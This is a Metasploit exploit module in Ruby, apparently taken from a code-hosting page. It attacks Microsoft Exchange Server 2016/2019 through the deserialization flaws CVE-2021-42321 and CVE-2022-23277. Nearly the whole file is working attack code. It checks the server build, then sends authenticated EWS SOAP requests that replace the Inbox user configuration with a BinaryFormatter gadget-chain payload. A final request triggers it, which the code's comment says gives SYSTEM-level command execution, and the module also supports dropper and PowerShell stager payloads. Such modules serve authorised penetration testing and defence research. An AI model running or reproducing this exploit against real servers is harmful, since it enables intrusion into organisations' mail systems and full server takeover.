380 lines
16 KiB
Ruby
380 lines
16 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'nokogiri'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HTTP::Exchange
|
|
include Msf::Exploit::Deprecated
|
|
moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',
|
|
'Description' => %q{
|
|
This module exploits vulnerabilities within the ChainedSerializationBinder as used in
|
|
Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and
|
|
Exchange Server 2016 CU22 all prior to Mar22SU.
|
|
|
|
Note that authentication is required to exploit these vulnerabilities.
|
|
},
|
|
'Author' => [
|
|
'pwnforsp', # Original Bug Discovery
|
|
'zcgonvh', # Of 360 noah lab, Original Bug Discovery
|
|
'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild
|
|
'Microsoft Security Response Center', # Discovery of exploitation in the wild
|
|
'peterjson', # Writeup
|
|
'testanull', # PoC Exploit
|
|
'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D
|
|
'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains
|
|
'Markus Wulftange' # CVE-2022-23277 research
|
|
],
|
|
'References' => [
|
|
# CVE-2021-42321 references
|
|
['CVE', '2021-42321'],
|
|
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],
|
|
['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],
|
|
['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],
|
|
['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],
|
|
['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],
|
|
# CVE-2022-23277 references
|
|
['CVE', '2022-23277'],
|
|
['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],
|
|
['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']
|
|
],
|
|
'DisclosureDate' => '2021-12-09',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :win_cmd
|
|
}
|
|
],
|
|
[
|
|
'Windows Dropper',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :win_dropper,
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'PowerShell Stager',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :psh_stager
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'SSL' => true,
|
|
'HttpClientTimeout' => 5,
|
|
'WfsDelay' => 10
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [
|
|
IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169
|
|
CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.
|
|
]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
|
OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),
|
|
OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])
|
|
])
|
|
end
|
|
|
|
def post_auth?
|
|
true
|
|
end
|
|
|
|
def username
|
|
datastore['HttpUsername']
|
|
end
|
|
|
|
def password
|
|
datastore['HttpPassword']
|
|
end
|
|
|
|
def cve_2021_42321_vuln_builds
|
|
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
|
|
[
|
|
'15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21
|
|
'15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22
|
|
'15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10
|
|
'15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11
|
|
]
|
|
end
|
|
|
|
def cve_2022_23277_vuln_builds
|
|
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
|
|
[
|
|
'15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU
|
|
'15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU
|
|
'15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU
|
|
'15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU
|
|
'15.2.922.19', # Exchange Server 2019 CU10 Nov21SU
|
|
'15.2.922.20', # Exchange Server 2019 CU10 Jan22SU
|
|
'15.2.986.14', # Exchange Server 2019 CU11 Nov21SU
|
|
'15.2.986.15' # Exchange Server 2019 CU11 Jan22SU
|
|
]
|
|
end
|
|
|
|
def check
|
|
# Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version
|
|
current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)
|
|
if current_build_rex.nil?
|
|
return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")
|
|
end
|
|
|
|
@exchange_build = current_build_rex.to_s
|
|
|
|
if cve_2021_42321_vuln_builds.include?(@exchange_build)
|
|
CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")
|
|
elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
|
|
CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")
|
|
else
|
|
CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it
|
|
@exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s
|
|
if @exchange_build.nil?
|
|
fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')
|
|
end
|
|
end
|
|
|
|
if cve_2021_42321_vuln_builds.include?(@exchange_build)
|
|
@gadget_chain = :ClaimsPrincipal
|
|
elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
|
|
@gadget_chain = :DataSetTypeSpoof
|
|
else
|
|
fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")
|
|
end
|
|
|
|
case target['Type']
|
|
when :win_cmd
|
|
execute_command(payload.encoded)
|
|
when :win_dropper
|
|
execute_cmdstager
|
|
when :psh_stager
|
|
execute_command(cmd_psh_payload(
|
|
payload.encoded,
|
|
payload.arch.first,
|
|
remove_comspec: true
|
|
))
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# Get the user's inbox folder's ID and change key ID.
|
|
print_status("Getting the user's inbox folder's ID and ChangeKey ID...")
|
|
xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>
|
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soap:Header>
|
|
<t:RequestServerVersion Version="Exchange2013" />
|
|
</soap:Header>
|
|
<soap:Body>
|
|
<m:GetFolder>
|
|
<m:FolderShape>
|
|
<t:BaseShape>AllProperties</t:BaseShape>
|
|
</m:FolderShape>
|
|
<m:FolderIds>
|
|
<t:DistinguishedFolderId Id="inbox" />
|
|
</m:FolderIds>
|
|
</m:GetFolder>
|
|
</soap:Body>
|
|
</soap:Envelope>)
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
|
|
'data' => xml_getfolder_inbox,
|
|
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
|
|
|
|
unless res&.body
|
|
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
|
|
end
|
|
|
|
if res.code == 401
|
|
fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")
|
|
end
|
|
|
|
xml_getfolder = res.get_xml_document
|
|
xml_getfolder.remove_namespaces!
|
|
xml_tag = xml_getfolder.xpath('//FolderId')
|
|
if xml_tag.empty?
|
|
print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')
|
|
fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
|
|
end
|
|
unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
|
|
fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
|
|
end
|
|
change_key_val = xml_tag.attribute('ChangeKey').value
|
|
folder_id_val = xml_tag.attribute('Id').value
|
|
print_good("ChangeKey value for Inbox folder is #{change_key_val}")
|
|
print_good("ID value for Inbox folder is #{folder_id_val}")
|
|
|
|
# Delete the user configuration object that currently on the Inbox folder.
|
|
print_status('Deleting the user configuration object associated with Inbox folder...')
|
|
xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>
|
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soap:Header>
|
|
<t:RequestServerVersion Version="Exchange2013" />
|
|
</soap:Header>
|
|
<soap:Body>
|
|
<m:DeleteUserConfiguration>
|
|
<m:UserConfigurationName Name="ExtensionMasterTable">
|
|
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
|
|
</m:UserConfigurationName>
|
|
</m:DeleteUserConfiguration>
|
|
</soap:Body>
|
|
</soap:Envelope>)
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
|
|
'data' => xml_delete_inbox_user_config,
|
|
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
|
|
|
|
unless res&.body
|
|
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
|
|
end
|
|
|
|
if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
|
|
print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
|
|
else
|
|
print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
|
|
print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
|
|
end
|
|
|
|
# Now to replace the deleted user configuration object with our own user configuration object.
|
|
print_status('Creating the malicious user configuration object on the Inbox folder!')
|
|
|
|
xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>
|
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soap:Header>
|
|
<t:RequestServerVersion Version="Exchange2013" />
|
|
</soap:Header>
|
|
<soap:Body>
|
|
<m:CreateUserConfiguration>
|
|
<m:UserConfiguration>
|
|
<t:UserConfigurationName Name="ExtensionMasterTable">
|
|
<t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
|
|
</t:UserConfigurationName>
|
|
<t:Dictionary>
|
|
<t:DictionaryEntry>
|
|
<t:DictionaryKey>
|
|
<t:Type>String</t:Type>
|
|
<t:Value>OrgChkTm</t:Value>
|
|
</t:DictionaryKey>
|
|
<t:DictionaryValue>
|
|
<t:Type>Integer64</t:Type>
|
|
<t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>
|
|
</t:DictionaryValue>
|
|
</t:DictionaryEntry>
|
|
<t:DictionaryEntry>
|
|
<t:DictionaryKey>
|
|
<t:Type>String</t:Type>
|
|
<t:Value>OrgDO</t:Value>
|
|
</t:DictionaryKey>
|
|
<t:DictionaryValue>
|
|
<t:Type>Boolean</t:Type>
|
|
<t:Value>false</t:Value>
|
|
</t:DictionaryValue>
|
|
</t:DictionaryEntry>
|
|
</t:Dictionary>
|
|
<t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>
|
|
</m:UserConfiguration>
|
|
</m:CreateUserConfiguration>
|
|
</soap:Body>
|
|
</soap:Envelope>)
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
|
|
'data' => xml_malicious_user_config,
|
|
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
|
|
}
|
|
)
|
|
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
|
|
|
|
unless res&.body
|
|
fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
|
|
end
|
|
|
|
unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
|
|
fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
|
|
end
|
|
|
|
print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')
|
|
|
|
# Deserialize our object. If all goes well, you should now have SYSTEM :)
|
|
print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')
|
|
xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>
|
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soap:Header>
|
|
<t:RequestServerVersion Version="Exchange2013" />
|
|
</soap:Header>
|
|
<soap:Body>
|
|
<m:GetClientAccessToken>
|
|
<m:TokenRequests>
|
|
<t:TokenRequest>
|
|
<t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>
|
|
<t:TokenType>CallerIdentity</t:TokenType>
|
|
</t:TokenRequest>
|
|
</m:TokenRequests>
|
|
</m:GetClientAccessToken>
|
|
</soap:Body>
|
|
</soap:Envelope>)
|
|
|
|
begin
|
|
send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
|
|
'data' => xml_get_client_access_token,
|
|
'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
|
|
}
|
|
)
|
|
rescue Errno::ECONNRESET
|
|
# when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised
|
|
end
|
|
end
|
|
end
|